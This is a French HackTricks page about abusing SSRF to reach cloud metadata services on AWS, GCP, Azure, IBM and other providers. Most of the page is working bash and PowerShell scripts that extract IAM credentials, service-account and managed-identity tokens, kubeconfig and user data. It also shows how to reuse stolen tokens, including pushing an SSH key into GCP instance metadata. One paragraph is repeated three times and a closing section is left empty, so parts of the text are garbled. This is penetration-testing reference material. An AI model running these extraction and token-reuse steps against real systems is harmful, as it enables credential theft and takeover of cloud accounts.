mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
571 lines
34 KiB
Markdown
571 lines
34 KiB
Markdown
## AWS
|
|
|
|
### Abus de SSRF dans l'environnement AWS EC2
|
|
|
|
**La métadonnée** peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'URL : `http://169.254.169.254` ([informations sur la métadonnée ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
|
|
|
Il y a **2 versions** de la métadonnée. La **première** permet d'**accéder** à la métadonnée via des requêtes **GET** (donc toute **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** et ensuite utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (donc c'est **plus compliqué à exploiter** avec une SSRF).
|
|
|
|
Dans la **version 2**, le **TTL par défaut est de 1**. Cela garantit que les appareils réseau mal configurés (pare-feux, dispositifs NAT, routeurs, etc.) ne transfèrent pas le paquet. Cela signifie également que les **conteneurs Docker** utilisant la configuration de réseau par défaut (mode bridge) **ne pourront pas atteindre** le service de métadonnées de l'instance.\
|
|
**IMDSv2** bloquera également les demandes de récupération d'un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela empêche les serveurs proxy inverses mal configurés d'y accéder.
|
|
|
|
Vous pouvez trouver des informations sur les [points de terminaison de la métadonnée dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, des informations intéressantes sont obtenues à partir de celui-ci :
|
|
```bash
|
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
|
URL="http://169.254.169.254/latest/meta-data"
|
|
|
|
aws_req=""
|
|
if [ "$(command -v curl)" ]; then
|
|
aws_req="curl -s -f -H '$HEADER'"
|
|
elif [ "$(command -v wget)" ]; then
|
|
aws_req="wget -q -O - -H '$HEADER'"
|
|
else
|
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
|
fi
|
|
|
|
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
|
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
|
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
|
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
|
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
|
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
|
|
|
echo ""
|
|
echo "Account Info"
|
|
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
|
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
|
|
|
echo ""
|
|
echo "Network Info"
|
|
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
|
echo "Mac: $mac"
|
|
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
|
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
|
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
|
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
|
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
|
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
|
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
|
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
|
echo ""
|
|
done
|
|
|
|
echo ""
|
|
echo "IAM Role"
|
|
eval $aws_req "$URL/iam/info"
|
|
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
|
echo "Role: $role"
|
|
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
|
echo ""
|
|
done
|
|
|
|
echo ""
|
|
echo "User Data"
|
|
# Search hardcoded credentials
|
|
eval $aws_req "http://169.254.169.254/latest/user-data"
|
|
|
|
echo ""
|
|
echo "EC2 Security Credentials"
|
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
|
```
|
|
En tant qu'exemple d'exposition de **credentials IAM disponibles publiquement**, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
|
|
|
Vous pouvez également vérifier les **credentials de sécurité EC2 publics** sur : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
|
|
|
Vous pouvez ensuite prendre **ces credentials et les utiliser avec AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a les autorisations** de faire.
|
|
|
|
Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :
|
|
```
|
|
[profilename]
|
|
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
|
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
|
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
|
```
|
|
Remarquez le **aws\_session\_token**, il est indispensable pour que le profil fonctionne.
|
|
|
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour découvrir vos privilèges et essayer de les escalader.
|
|
|
|
### SSRF dans les informations d'identification AWS ECS (Container Service)
|
|
|
|
**ECS** est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à mettre à l'échelle votre propre infrastructure de gestion de cluster car ECS s'en charge pour vous. Si vous parvenez à compromettre le service en cours d'exécution dans **ECS**, les **points de terminaison de métadonnées changent**.
|
|
|
|
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_, vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
|
Vous pourriez être en mesure de le lire en exploitant une **traversal de chemin** vers `file:///proc/self/environ`\
|
|
L'adresse http mentionnée devrait vous donner les **AccessKey, SecretKey et token**.
|
|
```bash
|
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
|
```
|
|
{% hint style="info" %}
|
|
Notez que dans **certains cas**, vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
|
{% endhint %}
|
|
|
|
### SSRF pour AWS Lambda <a href="#6f97" id="6f97"></a>
|
|
|
|
Dans ce cas, les **informations d'identification sont stockées dans des variables d'environnement**. Ainsi, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**.
|
|
|
|
Le **nom** des **variables d'environnement intéressantes** sont :
|
|
|
|
* `AWS_SESSION_TOKEN`
|
|
* `AWS_SECRET_ACCESS_KEY`
|
|
* `AWS_ACCES_KEY_ID`
|
|
|
|
De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
|
|
|
{% hint style="warning" %}
|
|
Notez que les **informations d'identification lambda** se trouvent dans les **variables d'environnement**. Ainsi, si la **trace de pile** du code lambda imprime les variables d'environnement, il est possible de les **exfiltrer en provoquant une erreur** dans l'application.
|
|
{% endhint %}
|
|
|
|
### URL SSRF pour AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
|
|
|
|
Nous récupérons l'`accountId` et la `region` à partir de l'API.
|
|
```
|
|
http://169.254.169.254/latest/dynamic/instance-identity/document
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` de l'API.
|
|
```
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
|
|
|
Ensuite, nous utilisons les identifiants avec `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
|
|
|
## GCP <a href="#6440" id="6440"></a>
|
|
|
|
Vous pouvez [**trouver ici la documentation sur les points de terminaison de métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
|
|
|
### URL SSRF pour Google Cloud <a href="#6440" id="6440"></a>
|
|
|
|
Nécessite l'en-tête "Metadata-Flavor: Google" ou "X-Google-Metadata-Request: True" et vous pouvez accéder au point de terminaison de métadonnées avec les URL suivantes:
|
|
|
|
* http://169.254.169.254
|
|
* http://metadata.google.internal
|
|
* http://metadata
|
|
|
|
Points de terminaison intéressants pour extraire des informations:
|
|
```bash
|
|
# /project
|
|
# Project name and number
|
|
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
|
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
|
# Project attributes
|
|
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
|
|
|
# /oslogin
|
|
# users
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
|
# groups
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
|
# security-keys
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
|
# authorize
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
|
|
|
# /instance
|
|
# Description
|
|
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
|
# Hostname
|
|
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
|
# ID
|
|
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
|
# Image
|
|
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
|
# Machine Type
|
|
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
|
# Name
|
|
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
|
# Tags
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
|
# Zone
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
|
# User data
|
|
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
|
# Network Interfaces
|
|
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
|
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
|
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
|
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
|
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
|
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
|
echo " ============== "
|
|
done
|
|
# Service Accounts
|
|
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
|
echo " Name: $sa"
|
|
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
|
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
|
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
|
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
|
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
|
echo " ============== "
|
|
done
|
|
# K8s Attributtes
|
|
## Cluster location
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
|
## Cluster name
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
|
## Os-login enabled
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
|
## Kube-env
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
|
## Kube-labels
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
|
## Kubeconfig
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
|
|
|
# All custom project attributes
|
|
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
|
-H "Metadata-Flavor: Google"
|
|
|
|
# All custom project attributes instance attributes
|
|
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
|
-H "Metadata-Flavor: Google"
|
|
```
|
|
Beta ne nécessite PAS d'en-tête pour le moment (merci à Mathias Karlsson @avlidienbrunn)
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/
|
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
|
```
|
|
{% hint style="danger" %}
|
|
Pour **utiliser le jeton de compte de service exfiltré**, vous pouvez simplement faire:
|
|
```bash
|
|
# Via env vars
|
|
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
|
gcloud projects list
|
|
|
|
# Via setup
|
|
echo "<token>" > /some/path/to/token
|
|
gcloud config set auth/access_token_file /some/path/to/token
|
|
gcloud projects list
|
|
gcloud config unset auth/access_token_file
|
|
```
|
|
{% endhint %}
|
|
|
|
### Ajouter une clé SSH <a href="#3e24" id="3e24"></a>
|
|
|
|
Extraire le token
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
|
```
|
|
Vérifiez la portée du jeton
|
|
```
|
|
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
|
"issued_to": "101302079XXXXX",
|
|
"audience": "10130207XXXXX",
|
|
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
|
"expires_in": 2443,
|
|
"access_type": "offline"
|
|
}
|
|
```
|
|
Maintenant, poussez la clé SSH.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
|
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
|
-H "Content-Type: application/json"
|
|
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
|
```
|
|
{% endcode %}
|
|
|
|
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
|
|
|
|
{% hint style="warning" %}
|
|
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot de métadonnées.
|
|
{% endhint %}
|
|
|
|
Documentation disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
|
```
|
|
curl http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1.json
|
|
http://169.254.169.254/metadata/v1/
|
|
http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1/user-data
|
|
http://169.254.169.254/metadata/v1/hostname
|
|
http://169.254.169.254/metadata/v1/region
|
|
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
|
curl http://169.254.169.254/metadata/v1.json | jq
|
|
```
|
|
## Azure <a href="#cea8" id="cea8"></a>
|
|
|
|
### Azure VM
|
|
|
|
[**Docs** ici](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
|
|
|
* **Doit** contenir l'en-tête `Metadata: true`
|
|
* Ne doit **pas** contenir d'en-tête `X-Forwarded-For`
|
|
|
|
{% tabs %}
|
|
{% tab title="Bash" %}
|
|
{% code overflow="wrap" %}```
|
|
```bash
|
|
HEADER="Metadata:true"
|
|
URL="http://169.254.169.254/metadata"
|
|
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
|
|
|
echo "Instance details"
|
|
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
|
|
|
echo "Load Balancer details"
|
|
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
|
|
|
echo "Management Token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
|
|
|
echo "Graph token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
|
|
|
echo "Vault token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
|
|
|
echo "Storage token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
|
|
{% endtabs %}
|
|
|
|
## SSRF dans les environnements cloud
|
|
|
|
Les environnements cloud sont de plus en plus populaires et sont souvent utilisés pour héberger des applications web. Les fournisseurs de services cloud tels que AWS, GCP et Azure offrent des services tels que des machines virtuelles, des conteneurs, des fonctions sans serveur et des bases de données. Ces services sont souvent utilisés pour héberger des applications web.
|
|
|
|
Les applications web hébergées dans des environnements cloud peuvent être vulnérables aux attaques SSRF. Les attaques SSRF dans les environnements cloud peuvent être plus dangereuses que les attaques SSRF dans les environnements traditionnels car les machines virtuelles, les conteneurs et les fonctions sans serveur ont souvent des autorisations élevées pour accéder à d'autres services cloud.
|
|
|
|
Les attaquants peuvent utiliser SSRF pour accéder à des services cloud sensibles tels que les métadonnées de la machine virtuelle, les clés d'API et les fichiers de configuration. Les attaquants peuvent également utiliser SSRF pour accéder à des services cloud appartenant à d'autres clients du même fournisseur de services cloud.
|
|
|
|
Les attaquants peuvent utiliser SSRF pour accéder à des services cloud sensibles tels que les métadonnées de la machine virtuelle, les clés d'API et les fichiers de configuration. Les attaquants peuvent également utiliser SSRF pour accéder à des services cloud appartenant à d'autres clients du même fournisseur de services cloud.
|
|
|
|
Les attaquants peuvent utiliser SSRF pour accéder à des services cloud sensibles tels que les métadonnées de la machine virtuelle, les clés d'API et les fichiers de configuration. Les attaquants peuvent également utiliser SSRF pour accéder à des services cloud appartenant à d'autres clients du même fournisseur de services cloud.
|
|
```bash
|
|
# Powershell
|
|
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
|
## User data
|
|
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
|
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
|
|
|
# Paths
|
|
/metadata/instance?api-version=2017-04-02
|
|
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
|
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
### Azure App Service
|
|
|
|
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour récupérer un jeton pour communiquer avec le serveur de métadonnées.
|
|
|
|
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
|
|
|
* [https://storage.azure.com](https://storage.azure.com/)
|
|
* [https://vault.azure.net](https://vault.azure.net/)
|
|
* [https://graph.microsoft.com](https://graph.microsoft.com/)
|
|
* [https://management.azure.com](https://management.azure.com/)
|
|
```bash
|
|
# Check for those env vars to know if you are in an Azure app
|
|
echo $IDENTITY_HEADER
|
|
echo $IDENTITY_ENDPOINT
|
|
|
|
# You should also be able to find the folder:
|
|
ls /opt/microsoft
|
|
#and the file
|
|
ls /opt/microsoft/msodbcsql17
|
|
|
|
# Get management token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
|
# Get graph token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
|
|
|
# API
|
|
# Get Subscriptions
|
|
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
|
|
curl -H "Authorization: $TOKEN" "$URL"
|
|
# Get current permission on resources in the subscription
|
|
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
|
|
curl -H "Authorization: $TOKEN" "$URL"
|
|
# Get permissions in a VM
|
|
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
|
|
curl -H "Authorization: $TOKEN" "$URL"
|
|
```
|
|
|
|
```powershell
|
|
# API request in powershell to management endpoint
|
|
$Token = 'eyJ0eX..'
|
|
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
|
|
$RequestParams = @{
|
|
Method = 'GET'
|
|
Uri = $URI
|
|
Headers = @{
|
|
'Authorization' = "Bearer $Token"
|
|
}
|
|
}
|
|
(Invoke-RestMethod @RequestParams).value
|
|
|
|
# API request to graph endpoint (get enterprise applications)
|
|
$Token = 'eyJ0eX..'
|
|
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
|
$RequestParams = @{
|
|
Method = 'GET'
|
|
Uri = $URI
|
|
Headers = @{
|
|
'Authorization' = "Bearer $Token"
|
|
}
|
|
}
|
|
(Invoke-RestMethod @RequestParams).value
|
|
|
|
# Using AzureAD Powershell module witho both management and graph tokens
|
|
$token = 'eyJ0e..'
|
|
$graphaccesstoken = 'eyJ0eX..'
|
|
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
|
|
|
|
# Try to get current perms over resources
|
|
Get-AzResource
|
|
## The following error means that the user doesn't have permissions over any resource
|
|
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
|
|
At line:1 char:1
|
|
+ Get-AzResource
|
|
+ ~~~~~~~~~~~~~~
|
|
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
|
|
+ FullyQualifiedErrorId :
|
|
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
|
|
```
|
|
## IBM Cloud <a href="#2af0" id="2af0"></a>
|
|
|
|
{% hint style="warning" %}
|
|
Notez que par défaut, les métadonnées ne sont pas activées dans IBM, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud.
|
|
{% endhint %}
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
|
-H "Metadata-Flavor: ibm"\
|
|
-H "Accept: application/json"\
|
|
-d '{
|
|
"expires_in": 3600
|
|
}' | jq -r '(.access_token)'`
|
|
|
|
# Get instance details
|
|
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
|
|
|
# Get SSH keys info
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
|
|
|
# Get SSH keys fingerprints & user data
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
|
|
|
# Get placement groups
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
|
|
|
# Get IAM credentials
|
|
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
|
```
|
|
{% endcode %}
|
|
|
|
## Packetcloud <a href="#2af0" id="2af0"></a>
|
|
|
|
Documentation disponible sur [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
|
|
|
|
## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>
|
|
|
|
(en-tête requis ? inconnu)
|
|
```
|
|
http://169.254.169.254/openstack
|
|
```
|
|
## HP Helion <a href="#a8e0" id="a8e0"></a>
|
|
|
|
(header requis ? inconnu)
|
|
```
|
|
http://169.254.169.254/2009-04-04/meta-data/
|
|
```
|
|
## Oracle Cloud <a href="#a723" id="a723"></a>
|
|
|
|
### SSRF
|
|
|
|
